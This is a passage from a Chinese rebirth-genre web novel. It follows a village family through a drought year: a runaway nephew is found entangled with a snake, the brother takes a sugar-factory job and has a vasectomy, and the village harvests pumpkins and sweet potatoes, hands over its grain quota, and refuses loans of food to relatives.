当姑一年，忧侄百岁，下辈子还是当大侄子吧，这破长辈谁爱干谁干去！ 吐出心中的烦闷之气，钟莹莹开始找寻小破孩的踪迹。 找了一圈也没找到人。 “娘，你见着木木哪去了吗？” “没有啊，他不是跟天宝在外面玩呢吗？”陈显英一脸茫然。 钟莹莹又去问钟明月：“嫂子，你见着木木了吗？” 钟明月也表示不知道。 家里问了一圈，钟莹莹又去知青院问了一遍，得到的答案都是没有，此刻她心里已经有些着急了。 “爹，爹，木木不见了！” “什么？”钟伟先感觉心脏都要停滞了。 缓过神来忙追问：“啥时候不见的？” “有一会儿了，我给丽丽一根白茅根吃，没看见他，他气跑了，我找一圈都没找到，娘，嫂子还有知青那边都没看见他！”该不会让拐子抱走了吧？想到某种可能，钟莹莹急的眼泪都快流下来了。 “莹莹，你别急，现在河沟里都没水，不会出什么意外的，八成是那小子自己躲哪里不愿意出来，我这就喊人一起去找。”村里孩子出事最大的可能也就是掉水里了，现在都是干沟，掉下去也淹不死。 打的水井井口也都压了大石头，掉不下去。 钟伟先在心里安慰自己，村里没外人，不会出意外的。 “你先回家，和你嫂子说一声，我喊村里人一起找。” “嗯。” 钟莹莹回了家，告知陈显英和钟明月*，俩人也是急的不行，正巧钟绍华回来了，一听他儿子丢了，立马也出去找了。 村里此起彼伏的全是叫喊声，小小的丽丽也跟着找人，钟莹莹害怕她也丢了，把人紧紧牵着。 从白天找到晚上，钟明芳已经去县里喊黄有德报案了。 一队干警极为重视，连夜赶过来帮着一块寻找孩子。 连那几口被石头压着的水井都被打开看了，确定孩子没掉进去，才又给盖上。 “还没找到啊？那肯定是让拐子拐走了！”知青们也被喊着出来一起找人，找到大半夜，王岳心里满是不爽。 李莉莉白了他一眼：“不会说话可以闭嘴！” “哎，你这人怎么说话的？”王岳指着李莉莉的鼻子就想干仗。 虽然这些日子落魄了不少，但王岳本质上还是怀揣着一种大少爷的心态。 看他想动手，张强和徐超不乐意了。 新人打老人，不是不把他们放在眼里吗？ 张强和徐超挡在李莉莉身前，挡住了来自王岳的挑衅。 朱志鑫那个墙头草，哪边厉害往哪边倒，现在两边气势持平，他就当个旁观者看热闹。 一时间气氛变得剑拔弩张起来。 “都别吵了，孩子还没找到，你们先内讧起来了？这让村里人以后怎么看我们？你们还想不想回城了？想回城就老老实实帮忙找孩子，还有你，王岳，要是不想待在钟家岗，可以直说，我给村长说，把你送回去！”周岱也是无语了，一个二个的，不知道咋那么能折腾。 王岳不服气，想反驳，又想到上次离开钟家岗，县里给他分的那个村，他干呕一声，默不作声了。 “啊～”一声刺耳的尖叫穿透所有人的耳膜。 周岱听出那是钟新澄的声音，来不及喊其他人，自己先跑着去找声音的源头了。 干警们举着手电筒，照着村长家的柴火堆，钟新澄赫然躲在里面。 只不过此时的情况有点不容乐观。 小小的孩童身上缠绕着一条两米多的蛇，那蛇一身鳞片红绿色交加，一看就有毒，蛇尾缠在孩子脚上，蛇头趴在孩子手上，此刻正嘶嘶的吐着信子。 “黄队长，这咋办啊？”年轻的干警一脸为难，刚入队就遇到这样棘手的事情，让他有些手足无措。 钟新澄泪眼汪汪的，一动不敢动。 他本来要离家出走的，又不敢走太远，就躲到了村长家的柴火堆里，他把柴堆内部掏了一个小洞出来，就这么躺了进去。 起初听见家里人的喊声，他不敢应答，害怕回去要挨打，后面等着等着就睡着了。 睡醒感觉身上凉丝丝的，还感觉怪舒服的。 一睁眼跟那花蛇看了个对眼，就有了那一声尖叫。 “救……救命”钟新澄咧着嘴，想哭又不敢哭。 “让木木别动，找个活物给蛇引过来，那火钳钳住。”钟莹莹提了个意见后就低着头，不敢看他，害怕见到他在自己眼前被蛇咬。 黄有德听了决定赌一把，他也没有什么抓蛇的好办法。 就这么让蛇缠着孩子也不是办法，万一孩子一动，蛇给他来上一口，那就完蛋了。 村长钟强先拿来了自家的小鸡。 黄有德用绳子绑住鸡脚，绳子的另外一端系在竹竿上，确定系紧了，让那个年轻干警拿着竹竿引诱花蛇，自己拿着火钳走到近处。 让周围围观的人站远点后，他跟钟新澄说：“木木闭眼！” 钟新澄顺从的闭上眼睛。 绑在竹竿上的小鸡掉在半空中一直挣扎，在接近花蛇的那一瞬，它就‘唰’的一下伸头去咬鸡。 黄有德反应也很迅速，在蛇头咬住鸡翅膀的瞬间，一火钳夹在了花蛇的七寸上，之后更是使尽全身的力气，夹住蛇身，用力一扯，把蛇从钟新澄身上拽下来，连着火钳一块甩向远处。 落地后的花蛇，嗖地一下钻入草丛中消失不见了。 “快，检查一下孩子身上有没有伤口！” 蛇跑了，他们的使命还没有完成。 钟明月第一个上前，把已经被吓傻了的钟新澄抱出来，给他身上的衣服都脱了，里里外外细细检查了一遍，确定没有咬伤才一把将孩子搂在怀里：“你吓死我了！” 她身体微微发颤，是真的很害怕。 钟新澄环住她的脖子，也是哭的很惨。 钟伟先捡回火钳还给钟强先，又让钟绍华回家抓了一只鸡给村长老婆。 对着今天来帮忙的几个干警道：“几位警官，辛苦了，这大半夜的，不如留下吃个夜宵睡一觉再回去？” “爹，这是违反纪律的事情，没有什么辛苦不辛苦的，职责所在，没什么事情，我就先带他们回县里了。”今天真的很险啊，好在是虚惊一场。 钟伟先送他们离开。 村里人也散场了，钟新澄被抱着回了钟家，院门一关，他就抖了一下。 钟伟先掏出一根细竹条递给钟绍华，钟明月将钟新澄给放到堂屋地上。 陈显英把钟莹莹和钟丽丽都叫过来，一起听训。 钟绍华还没动手，钟新澄就抱着他的大腿哭嚎：“爹，你别打我，我知道错了！我知道错了！”那声音真是见者流泪，听者伤心。 钟绍华不搭理他，他又转头去求钟伟先和陈显英，屋里没人有笑脸，他就知道，今天这顿打，他是逃不掉了。 第63章 竹条蘸盐水，边打边消毒。 “下次还敢吗？” “呜呜呜～爹，我不敢了～”钟新澄嚎的嗓子都要哑了。 丽丽躲在一边不敢看，被吓的眼睛也红红的。 “行了，绍华，别打了，孩子知道错了！”陈显英终究是不忍心。 “娘～”钟绍华有些生气。 他娘总是这样，每次教训孩子，她都会阻拦，今天还拦？她的好大孙再不教育，不知道会干出什么事来！ “算了，我不管了，别给孩子打坏了，其他的随你吧！”陈显英眼神疲惫的走了。 她老了，管太多有点招人烦。 钟伟先看她好像不舒服，也跟着走了。 灯火摇曳下，钟绍华无力的放下手中的竹条，打孩子他不心疼吗？他就这么一个儿子。 见钟绍华停手，钟新澄小声抽噎道：“爹，我真的知道错了，我不敢了！” “哥，这事也怨我，是我没看好他。”钟莹莹跟着劝。 钟明月把父子俩从地上拉起来，对着钟家另外几人道：“都这么晚了，回去睡觉吧，明天还得干活呢！” 钟明芳把丽丽抱回黄家去了。 钟新澄抽抽嗒嗒的要跟钟莹莹睡，钟明月拿了红花油，给他擦被竹条抽出来红痕，钟绍华下手有分寸，让他痛，但不会破了皮。 “娘，我好疼～”钟新澄委屈巴巴的。 “下次还敢吗？”钟明月既心痛又觉得他活该。 钟新澄小手一抹眼泪，吸吸鼻涕：“不敢了！”再也不敢了。 那大蛇缠他身上，他都要吓死了。 以后谁离家出走，他都不走。 钟莹莹思前想后，觉得还是有必要跟他解释一下：“木木，今天姑姑没有偏心，给丽丽是吃的白茅根，你在家我不是也经常拿给你吃吗？你吃的比她还要多。” “姑姑，对不起，是我不好。” 钟新澄也不知道那时候怎么了，好像脑子一热就跑出去了。 姑侄俩重归于好，钟明月拧上红花油的盖子，嘱咐钟莹莹和钟新澄早点睡，收了东西就出去了。 “木木今天这事你怎么看？” 屋里钟绍华躺在床上一动不动。 “我？”钟明月不解。 钟绍华看着蚊帐顶，直愣愣道：“孩子因为一点零嘴就闹矛盾离家出走。” 钟明月垂眸：“还不是穷闹的！” 要是她爹还活着，家也在，她的孩子何至于此。 钟绍华像是下定了某种决心：“明月，我跟人出去的时候，听到矿上在招临时工，我想去试试。” 离钟家岗最近的矿场在县城的另一端，环境很恶劣，给的工钱也不多，偶尔还会传出矿洞塌陷的消息，就这，他们县的人，依旧趋之若鹜。 尤其是近来收成不行，矿上卖煤，旱涝保收，苦就苦点，大多数人认为，能给家里人挣点粮食换顿饱饭已经很知足了。 万一运气不好，死在里面，就算是临时工，也能得到一笔不菲的抚恤金，照料家人。 钟明月一听立马着急了：“不行，你不能去。” 矿上多危险啊，为了给孩子好生活丢了丈夫，钟明月不愿意看到这种场景。 “再说吧，人家还不一定要我呢！”一个临时工的岗位在现在也是香饽饽，钟绍华不敢肯定自己一定能拿到那个工作。 见钟绍华话里话外都没有打消念头，钟明月已经开始在脑海中搜寻，自己爹当年的那些朋友有没有能给她提供帮助的。 人走茶凉啊，要是真有，她也不至于流落到钟家岗了。 半夜，钟新澄发起高热，钟莹莹脚丫子碰到他的腿，感觉温度不对，立马去钟绍华那屋喊人：“哥，嫂子，木木发烧了！” 钟绍华跟钟明月穿上鞋子抱着孩子就驾着牛车去镇上找医生去了。 钟伟先和陈显英是第二天才知道这件事情，他俩年纪大了，一惊一乍的对心脏不好，兄妹俩一商量就没喊他们。 看着挂水的大孙子，陈显英眼泪要落下来，捏紧拳头锤钟绍华：“都说了，别打孩子了，你看，这下好了吧！” 一生病，仿佛孩子犯过的错都成了过去，没人会再记得。 退烧的钟新澄病恹恹的没有一点精神。 钟家人又吵起来了。 “不行，我不同意。”钟伟先猛地一拍桌子，厉声呵斥道。 “爹，你不同意我也要去试试。”钟绍华也很倔强。 陈显英在父子间周旋：“绍华啊，你又不是不知道咱们家那些事，哪些都是禁不起查的。” 钟家一家人的来历都很奇葩，钟伟先祖上不干净，钟伟先他爹钟思霖曾留下话，让子孙后代，老老实实在钟家岗当个农民，三代以内，不可出去，等到知道那些事的人都死绝了，才能顺应心意行事。 陈显英她爹也是个大雷，被抓去了小岛，查的不严没事，被人扒拉出来，也够受的。 至于钟明月，富豪家庭出身，他爹没了，钱全捐了，仍旧有人觉得她家里还有东西，不愿意放过她，想要吃绝户。 一家子乱七八糟的凑在一起，随随便便一点风雨都能将这个小家给击垮。 “娘，那些事情都过去那么多年了，有谁会记得？”钟绍华其实也不太清楚是什么事情，只知道不太光彩。 钟伟先冷哼一声：“万一呢？万一有人记得，还注意到了，让你爹娘和那些地主一样被打倒吗？还有你媳妇，咱们一家子都落不到好！” 钟莹莹从屋里出来，有些好奇，她家究竟有哪些事情见不得光啊，不当村干部也就算了，现在她哥想出去找个活干都不行。 她只知道祖上发达过。 “村长他爹娘都没了，还会有谁记得那些事情啊！”钟绍华有些崩溃。 他这个亲孙子都只知道一点，家里祖上貌似不干净，村长那边他也旁敲侧击过，压根说不出个所以然来，村长他爹活着的时候，倒是有些神秘，还对他爷爷言听计从的。可现在人都走完了，上上辈的事情，当事人知情人都没了，钟绍华不信还能影响他们家。 至于户籍方面，他找现姐夫也查过了，没有任何问题，他家里清清白白的。 明月那边有点小问题，但不去遂县，也没人抓着这点不放。 钟绍华平复一下心情，继续劝说他爹娘：“爹，连我都不知道家里究竟有啥事，村里也没人知道，姐姐和姐夫结婚的时候，政审也没问题，真的没事的！” 钟伟先也有些被他说动了。 钟绍华看他表情松动，立马乘胜追击：“爹，你看现在这天，说旱就旱，我们在地里刨食没问题，你忍心让莹莹和木木还有丽丽他们以后还过这样的生活吗？” “可矿上的活你干的来吗？”钟伟先还是有点不放心。 钟绍华斩钉截铁道：“都当爹的人了，哪里有什么干不来的！” 钟莹莹知道，他行的，上辈子在土里刨食都能养活一大家子，他怎么不能！ 不过，她现在比较好奇的还是，她家祖上究竟是干嘛的，这也不让干，那也不让干，也太坑了吧！ 钟莹莹戳戳陈显英的胳膊：“娘，咱家以前究竟是干什么的啊？” 陈显英不想跟她说：“小孩子家家的，打听大人的事干什么？没事看睡会儿去，昨天折腾一晚，今天又起那么早，你不困啊？” 本来钟莹莹是想睡觉的，可被勾起了好奇心，哪里还睡得着。 她缠着陈显英：“娘，你就告诉我吧，我保证不往外说！” 钟莹莹伸出四根手指，就差指天发誓了。 陈显英抵不过她的纠缠，害怕不告诉她，她出去到处瞎问，惹出更大的麻烦来，只好满足她：“你知道你爷爷祖上是逃荒来的吧？那一路上能没遇到过危险吗？村长家以前归咱家管的，也就你爷爷那辈分开了，大家各过各的。” “其他的，我也不知道了，这些事情你不要往外说。”陈显英说话的声音很小很小，她其实知道的也不多，以前公婆很少谈论这些事情。 钟莹莹理解成了家里以前干土匪的，村长是家里奴隶，但好像也对不上号，村长家里也姓钟。 她又想到另外一种可能，倒吸一口凉气，不会吧，她祖上这么牛批的吗？ 战乱时期逃荒，能一路打过来，手里指定有武器，还有手下，妥妥的大户，且不是正规军啊。 “娘，咱家以前没人当过奸细吧！”杂牌军不要紧，卖国事大，生在红旗下，长在春风里的钟莹莹无法接受的只有这一点。 “咳咳咳～”陈显英连咳好多声：“奸你个头，一个脑瓜子不要东想西想的，净说些乱七八糟的东西，还不睡觉去。” 看她娘的反应，她就知道，看来只是不正规。 不是卖国贼就行，钟莹莹放下心来，老老实实回去补觉了。 钟绍华还在和钟伟先商量事情。 等到钟莹莹一觉睡觉，已经到下午了，家里除了病歪歪的钟新澄，其他人都不在。 钟新澄提醒道：“姑姑，奶奶给你留了饭，在锅里。” 钟莹莹吃了饭，跟钟新澄玩了一会儿，家里其他人也回来了。 她才知道，她哥的工作定了，不是去矿上当临时工，是去制糖厂那边当工人去了。 走的黄有德的关系，不仅她哥，一道去的还有村长大儿子。 第64章 钟家岗的年猪跟之前预想的一样，最终没留到过年。 村民们已经很努力的在打猪草，省粮食给猪吃了。 它们身上的肥膘还是在肉眼可见的下减少。 县里最近还有小道消息传有村子的猪得了猪瘟全死了。 钟强先大手一挥，全都宰了，吃了比浪费强。 得猪瘟的猪他们也吃的，舍不得扔，吃了会生点不大不小的病。 “好香！”钟新澄吃的满嘴流油。 陈显英把分到的十几斤肉都给炸了，肥肉炼成油渣，瘦肉放到炼好的猪油里炸一炸，放花椒和盐，凉透了，和猪油一块装到坛子里，放到地窖阴凉处储存，能放好几个月不坏。 她一边炸肉，几个孩子一边守着灶台偷吃，被竹漏勺捞出来的油渣，他们也不嫌烫，就这么抓了龇牙咧嘴的放到嘴巴里嚼。 “晾一晾再吃，等会给你嘴巴烫个大泡就老实了。”陈显英一边捞肉，一边提醒几个孩子。 刚出锅的炸肉，温度高的很，尤其咬开后里面爆汁的肥肉，初吃只觉得香，反应过来舌头已经被烫的尝不出味道来了。 接下来好多天舌头都会麻麻的。 “啊呜～没事……没事的。”丽丽吃的也停不下嘴。 钟强先现在变得很鸡贼，上面说养了猪要交一半上去，可没说是哪一半，过了称之后，他挑了瘦肉多的拿出去。 还把送过去的那半边猪肥肉剃了不少，塞了瘦肉进去充数，问就是杀猪人技术不行，刀子下歪了，导致肉散掉了。 能多拿点肥肉，多炼点猪油，村里没人会去拆他的台。 至于上面怎么想，他管不了那么多了。 都提前杀猪了，也不差这点违规操作了。 总不能因为这点小事，就枪毙他吧！ 钟强先咬了一口自家婆娘炸的肉，被香迷糊了。 心里只想着，真要枪毙他，做个饱死鬼，他也认了。 还别说，这肥肉吃着就是要比瘦肉香的多！ 钟绍华的工作进展的很顺利，虽然只是最底层的搬运工，一个月下来，也分了不少福利。 糖厂、糖厂！ 产糖的地方，可不是富的流油。 其他东西没有，就是糖多。 这年头人们肚里缺啥？油水和糖分！ “娘，我把得的工资和票全换成糖了。” 钟绍华一放下行囊就来了灶房，跟几个孩子一块抢肉吃。 “换那么多啊？”陈显英有些不解。 都进了糖厂，也不怕以后没糖吃了，这么着急干什么？ “今年没雨，糖厂收甘蔗和甜菜也收不上来，干完这段时间，把存货用了，可能要停工了。” 钟绍华敏锐的感觉到这里面有不对的地方，所以才找工友把工资和票据全换成了糖。 这玩意和盐一样，只要别让虫子爬了，耐保存的很。 在厂里换这东西简单，多给些钱，他们愿意交易的，等到了外面，再想找人换，没有票，谁理你啊？以前倒是能换，因为产量多，工厂往外放的也多，今年不行。 “那多换点好啊，我看这是要变天了！”陈显英停下手中的动作，心中很是不安。 这都多少年没遭灾了，过了这么久的安稳日子，她是真不想再经历那些。 钟伟先在修屋顶，捡瓦片，每年都要来这么一遭，今年没雨水，捡瓦的时间推迟了很多，都入秋了才开始干活。 钟绍华在灶房贫了两句后就出来帮忙了。 “莹莹，你去灶房吃点东西，我来给爹扶着梯子。”钟绍华嘴里叼着一块肉，出来顶替了钟莹莹的工作。 有人接替，钟莹莹退位让贤，直奔灶房干饭去了。 三个孩子一人吃了一小半碗油渣，钟明月不让吃了，把他们都赶出灶房，让他们去外面玩。 不是舍不得，是因为平日里荤腥吃的少，一下子吃太油腻会拉肚子的。 钟家原本的大缸，那年水灾后办咸菜厂，就运到那边充公了，算是钟家人的投资。 陈显英让钟伟先去吴家村又买了几口缸回来。 目前唯一没有减产的，只有吴家村的砖窑厂。 不靠老天的脸色收成，有煤炭和粘土和页岩，想烧多少烧多少，烧出来也不愁卖，一个又一个单位拿着批条直接采购走，个人想要他们还不卖嘞！ 新的水缸坐落在院子角落里，钟伟先砍竹子在上面搭了个小凉棚，又编了竹盖，把水缸盖的严严实实。 学校说是要开学，最后也没开，干脆贴了公告，让学生在家自学，下个学期再恢复教学。 城里缺粮已经到一种很严重的程度了。 大家的首要目的是活着，没人有心情去关注学校怎么怎么样了。 钟莹莹下学期中考，对于这个，她还是很在意的。 闲着在家的时候，除了跟着村里其他孩子一块出去到处打野、偷渡点自己空间攒的东西到自家粮缸里，她就只有学习、学习、还是学习！ 她是摆烂人不假，她对这个年代的大学也是很感兴趣的。 含金量最高的时候，还没闹后面的幺蛾子，赶一赶路，能赶在那些事情之前毕业，到时候分配回老家的机关单位工作，旱涝保收，岂不是能够更好的摆烂。 她的学习精神极大程度的鼓舞了钟家岗的家长们，饿着肚子还不忘好好学习。 自家孩子也得跟上，于是一个个钟家岗的娃娃被赶鸭子上架似的被逼着学习。 天晓得钟莹莹才没有让自己饿着肚子，打野的时候，她不知道偷渡了多少东西。 表面上大家都能看见的她不取，留着给其他人，深处其他人找不到的，简直就是她的乐园，收割了一波又一波。 学习的时候没事咂巴一下嘴，在所有人都瘦了的时候，她也瘦了，不是饿瘦的，而是长高了，开始抽条了。 她才十一岁，已经长到一米五了。 隔壁老万收养的何止尧瘦瘦小小的，比她矮半个头。 “咱莹莹又长高了，这裤脚又短了一截……”长高带来的不止有喜悦，还有烦恼，陈显英有些苦恼，孩子的衣服老是赶不上趟儿，不是胳膊露出一截，就是脚腕露出好长一截。 “我给改改，接一截布上去吧！”做衣服的时候，钟明月已经尽可能往大了做了，没想到还是没她长得快。 “今年几个孩子也是遭罪了，连件新衣服都做不成！” 家里的钱票都紧着换粮去了，也没法再给孩子凑新衣服的布料。 爱孩子的家长总是对孩子心怀愧疚，觉得自己没给孩子提供良好的生活条件。 糖厂没原料了，也陷入了漫长的停工期，等到来年夏天，原料长成，才会再次动工。 一家子七八张嘴，只能靠存粮度日。 钟强先家新媳妇楚琳琳这个截骨眼上怀了，钟强先既喜悦又忧愁，他自己那一大帮孩子都养活的很困难，吃了上顿愁下顿。 要有新生儿，是喜事，吃什么，他很发愁。 钟强先家要有新生儿，最激动的不是他们家人，而是钟绍华，他跟钟明月就生了钟新澄这一个，这么多年控制的好，也没在来二胎，他还是怕了，害怕再来个娃，给本就困难的家庭雪上加霜，他做了一个重大决定，他要结扎。 害怕家里人不同意，他没敢说，去找姐夫黄有德借了钱。 没想到黄有德对这个也挺忌讳，两个人一顿嘀咕，一拍即合，姐夫和小舅子一道去了医院做了结扎手术。 等家里人知道的时候，事情已成定局。 “我说你咋那么能耐啊？手术都敢随随便便做了！” “娘，疼疼疼！”钟绍华的耳朵在他老娘手里被拧成了麻花。 “疼就对了，不疼不长记性！” “你不跟我和你爹说就算了，连明月你也瞒着，还有那个黄有德，也是个坏胚！”陈显英气得直接喊他大名骂，平时她可是一口一个好女婿的。 钟莹莹给她哥竖了个大拇指，厉害了我的哥，结扎手术，直接走在时代前沿了，上辈子那一大串孩子，直接没了出生的机会，包括她上辈子的老爹，不出生也好，少受点生活的苦。 她姐夫也是个牛人，要知道，就算是计划生育最严的那几年，没几个男人愿意结扎的。 虽然妇女节育上环十分痛苦，但是计划生育还是让女的去上环，说什么男的结扎就干不动活了，这在后世已经证明，纯纯就是诈骗。 钟绍华和黄有德结扎的事情在钟家岗掀起了不小的波澜。 很多人都是看笑话，他们就算过的再艰难，也觉得多子多福是好事。 俩人的媳妇对这种事情接受程度比想象中的高，生过孩子的女人，已经有了娃娃，不用再生孩子，就是不用再承受痛苦。 再说了，结扎的又不是她们，退一万步来说，丈夫不能生，她们以后又很想要孩子，也不是不能换个丈夫，虽然现在看来不太可能，目前的丈夫她们就很满意。 “哥，吃饭！”钟绍华术后变成了家里的一级保护废物，衣来伸手，这条划掉，饭来张口倒是真的。 多少是个手术，陈显英打归打，还是心疼这个儿子，他被勒令卧床休息，跟坐月子一样，村里人没事就过来看稀罕物件一样瞧稀奇。 钟绍华被关的都快疯了。 钟莹莹瘸腿时遭的罪，他也经历了一遍。不同的是一个是真不能动，一个是被家里压着不给动。 第65章 村里早先在新修的小道边种的柿子结了果，还没成熟就有麻雀过来偷吃，孩子们就拿个弹弓打麻雀。 钟伟先找来橡皮筋，一个孩子给做了一个小弹弓，钟莹莹准头不太行，打不中猎物，还比不上丽丽和钟新澄。 她干脆舍了弹弓，专心搓泥丸，给俩大侄补充弹药。 打下来的麻雀拔了毛去了内脏烤来吃，喷香喷香的。 很快，这项游戏又取消了，柿子被全部摘了下来，一部分用水和不知名的材料泡了做脆柿，另一部分放进篮子里码好，盖上盖子，准备给它们捂熟。 没了果子，树上也引不来鸟群，只有稀稀拉拉的几只偶尔会飞过来。 家里的屋檐下倒是有小燕子，但是大人不让戳燕子窝，说家燕报福，戳了就把福气戳没了。 根据后世的调查，钟莹莹觉得这一俗语可能更多的源于燕子身上有病毒，吃了容易生病，才生了俚语，说燕子送福，吃了就把福气吃没了，让后代不要吃且敬而远之。 柿子被捂了好几天，钟伟先打开篮子，挨个捏了捏，挑出几颗已经变软的出来，一个孩子分一颗，他自己也拿了一个放在嘴边咬开，吸允丰柿的蜜汁，他赞叹道：“今年的柿子好甜啊！” 天热，果子结的反而比平常要甜的多。 这还是他们一桶水一桶水浇灌出来的，吃起来就更加甜了。 “少吃点，剩下的熟了我挂起来做柿饼留着冬天吃。”陈显英忍不住拍拍他的胳膊，提醒道。 冬天本来就没啥新鲜吃食，柿饼算是难得的甜蜜了，都吃完了，拿啥做柿饼，冬天哄孩子？ “早吃晚吃都是吃，孩子们开心就行，你也尝尝，真的很甜！”钟伟先把一个掰开的柿子怼到了陈显英的嘴边，糊了她一嘴。 这下子她没办法说话了，陈显英就着钟伟先的手吃完了半个柿子。 钟伟先眨眨眼睛：“甜不？” 陈显英嗔道：“就你话多，甜，甜的很行了吧！” 孩子们跟着笑起来，钟莹莹感慨她爹娘的感情可真好，都老夫老妻了，还能亲亲密密的。 爹娘都活着，这物资匮乏的年代好像也没那么难熬，她都不需要努力，她爹娘就能把一切事情给处理好，富贵谈不上，但让她吃饱穿暖还是可以的。 有爹娘的孩子是个宝，不遇到那种特定的倒霉事件，她爹娘自己就能搞定一切，她只需要在他们的羽翼之下做个摆烂王就行。 掠夺赵擎家的那笔财富，足以让改革开放后的她拥有一个躺赢的人生。 天气越来越凉，一大早刚起来，钟莹莹就发现屋外的泥土和植物全都蒙上了厚厚的一层霜。 陈显英搓了搓手，朝掌心哈了一口气，暖了暖手道：“打霜了，该收南瓜了。” 钟家岗最终没有种成多少水稻，时间太晚，水不够，秧苗也少，只少数倔强的几个人，分开插种了一两亩田，到现在以往已经要完成收割的季节，地里的水稻还稀稀拉拉的没结几根穗子，村里人都放弃那一点点的可能了。 钟家岗播种了一季秋南瓜，得益于勤勤恳恳的灌溉和施肥，所幸收成还不错，这个冬天应该不难捱。 “走，把水稻割了去！”钟绍华终于被允许出门干活，恨不得立马大显身手。 没有穗子也不能浪费，稻秆割回来可以喂牛，他们钟家岗的宝贝，出远门全靠它，可不能让它饿着了。 吃不完了，还可以晒干，存起来，留着冬天给牛慢慢吃。 牛吃不完的，还可以磨粉掺到粮食里，人也可以吃，人吃不完还可以烧锅用。 随着时间的推移，地里一颗颗南瓜已经变得澄黄透亮，看着就能让人感觉到它由内而外透出的甜蜜。 钟家岗人最近忙得很，白天晚上不带停歇的轮守在地头，就害怕有人偷了他们的辛苦种下的果实。 “嘿咻～” 地里摘下来的南瓜被一颗颗搬到了晒谷场，钟强先打算不入库，直接当众分了。 “国家一个，村里一个。” “国家一个，村里一个。” …… “好了，分完了！” 村里的那堆，个头显然有些超标。 不过无人在意。 作为一个在今年一年到头，只下了一场毛毛雨，还有能力交公粮的村子，钟强先觉得目前这个量已经足够优秀了。 留下的大南瓜，按照户头和人口被分往每家每户，记分的那个小本本都*没人看了，大家干活都很幸苦，这段时间，记的分基本一致。 赶着牛车去交公粮时，镇上粮站的工作人员热情接待了他们，一边搬那些小南瓜入库，一边还跟钟强先吐槽：“老乡啊，你们都不知道，今年底下人都跟造反了一样，交粮一点不积极，来交的稀稀拉拉拖了半板车的都少见，好多直接都没来，有些不交就算了，还舔着脸想来要救济粮，我们哪有粮发给他们啊？” 末了他又补了一句：“还是你们实在！” 满满一车的粮食，虽然只有南瓜，但也能让他们有东西可以交差了。 听到这话，钟强先脸上的笑一下子僵住了，这不杀人诛心了嘛！草率了，交多了！ 他以为其他村的为了面子，会跟之前报纸上登记的产量一样，打肿脸充胖子，哪怕没收成，也要咬咬牙多交点上来。 没想到大家都吸取教训，学精了！合着只有他自己成了大傻子！ 其他村：怎么交啊？拿脸交啊？人都快要饿死了，之前偷懒搞的地里也没啥收成，想做假也做不成！ 驾着牛车垂头丧气的回到村里，看着地里满地的南瓜藤，钟强先又重新打起精神。 他只交了南瓜，地里还有高粱和红薯，这采收完遍地的南瓜老藤老叶也是宝贝。 以往直接打碎了埋地里做肥料，或者拖回家晒了当柴烧，今年也像个宝贝一样，收割上来，晒干了，各家各户分了。 整整一年的干旱，让大家都变得节俭起来。 村里种的稀罕物，高粱也收割了，一粒粒红色的果实被锤打下来晒干，村里人还不知道这玩意要怎么吃，看起来和大米小麦差不多，是不是得先脱壳再吃。 不管了，上石碾子，连壳带芯统统磨成粉粉。 粉粉兑点水，捏成团团，不管啥玩意都能入口，若是食物本来的样子，那就有点太喇嗓子了。 各种作物的收成远远比不上往年，但已经让人很满足了。 红薯是最后被挖掘上来的，红薯秧被拨到一边，一连好几天没浇水，叶子边缘都焦了，他们才去挖红薯。 红薯钟强先不打算往上交了，反正大家都不交，又不会光抓他们村。 就是需要低调些，人家是因为没粮，他们这有粮，可不能招到红眼病去县里给举报了。 是以挖红薯是在晚上进行的，都是村里人，不会有别村的人刻意路过，等到明天一早有人来，他们已经挖完了，且可以说产量不行，还不够自己吃的，反正红薯长在地里，也没人知道他们挖了多少。 南瓜交了那么多上去，红薯自留是他们应得的。 长条大板凳上被开了口，绑了大刀片，钟莹莹跟钟新澄几个在扣红薯上比较大块的泥巴，扣完以后递给钟绍华，他坐在长条板凳上，把红薯拿过去放在刀片和板凳开口处，一上一下摩擦，红薯就被一片片的片成厚片。 钟家院里支起了竹席，片成片的红薯被一片片铺平在竹席上，经过阳光的照射，变得干燥，耐存储。 以前他们是切了后直接晾清理干净的红薯地里，现在粮食金贵，容易招人眼红和招小偷，可不能再那样搞了。 院子小，晾晒面积不够，剩下的红薯，钟伟先挖了土坑给它埋了，让它们以为自己还在土里生长，低温情况下，也不会坏掉，吃的时候刨开土，吃多少取多少。 “娘，今年小麦还种吗？”水稻没种，总不能冬小麦也不种了。钟莹莹两辈子都没啥种地的经验，对这些东西实在不了解。 “种啊，怎么能不种，你村长叔不是进城领麦种去了吗？” 秋冬季，天气不热，水分蒸发的也没那么快，小麦没水稻对水分的要求高，就算还是不下雨，人工灌溉，还是有概率能存活下来的。 南瓜土豆这些作物，终究只是代食，没正经粮食让人欢喜。 “除了种小麦，还种些啥啊？”钟莹莹很好奇。 “咱家菜地里不是有韭菜还有菠菜吗？黑黑白也是能过冬是。”所谓黑黑白，就是他们本地的一种小白菜，黑心白菜，纤维很多，嫩的时候还行，老了卡嗓子，小孩牙齿嚼不烂，咽下去还能从喉咙里完整的扯出来。 钟新澄听见黑黑白，小嘴叭叭的就开始说：“黑黑白可难吃，比发的救济粮还难吃！” 丽丽也表示赞同，所有孩子的意见空前统一，可见这玩意究竟有多难吃。 陈显英气乐了：“不让你们吃，到时候我焯水晒干了，过年给你们包包子吃。” 钟新澄咂巴咂巴嘴，似是在回忆某种滋味，他点头道：“包包子行，包子好吃。” 钟明月伸出手指点点他的脑袋：“就知道吃！” 钟家岗这边的和谐，刺激到了外面人的眼，有和村里人沾亲带故的，被人怂恿着过来借粮。 第66章 钟莹莹跟着陈显英到毛蛋家的时候，硝烟刚刚停止，来借粮的人被毛蛋爹轰回家去了。 村长钟强先比她们来的快一步。 “毛蛋娘，这粮不能借！”钟强先在边上苦口婆心。 一旦开了这个口子，那只要沾亲带故的，一想要粮食，就会想到他们钟家岗。 现在看来没啥，但真要到了山穷水尽的时候，这种看法真的会死人的。 钟家岗壮劳力再多，也抵不过周边所有村子的围攻。 毛蛋娘许翠花娘家是隔壁镇的，啥情况钟强先也知道，还远没有达到他们自己说的，家里没米下锅的状态。 饿肚子是一定的，但要说完全没吃的了，钟强先不信。 借粮可以，私底下悄悄来，一斤两斤，没人管，大张旗鼓的，说不是不怀好意，都没人信。 “那是我娘家啊！我总不能看着爹娘饿肚子！”毛蛋娘一把鼻涕一把泪的，哭的不能自已。 爹娘虽然偏爱哥哥弟弟，但也把她拉扯大了，她不能没良心，不养活他们了。 “你敢拿家里的粮，明天你也回娘家去吧！我们钟家岗要不起你这样的媳妇！”毛蛋爹一脸的恨铁不成钢。 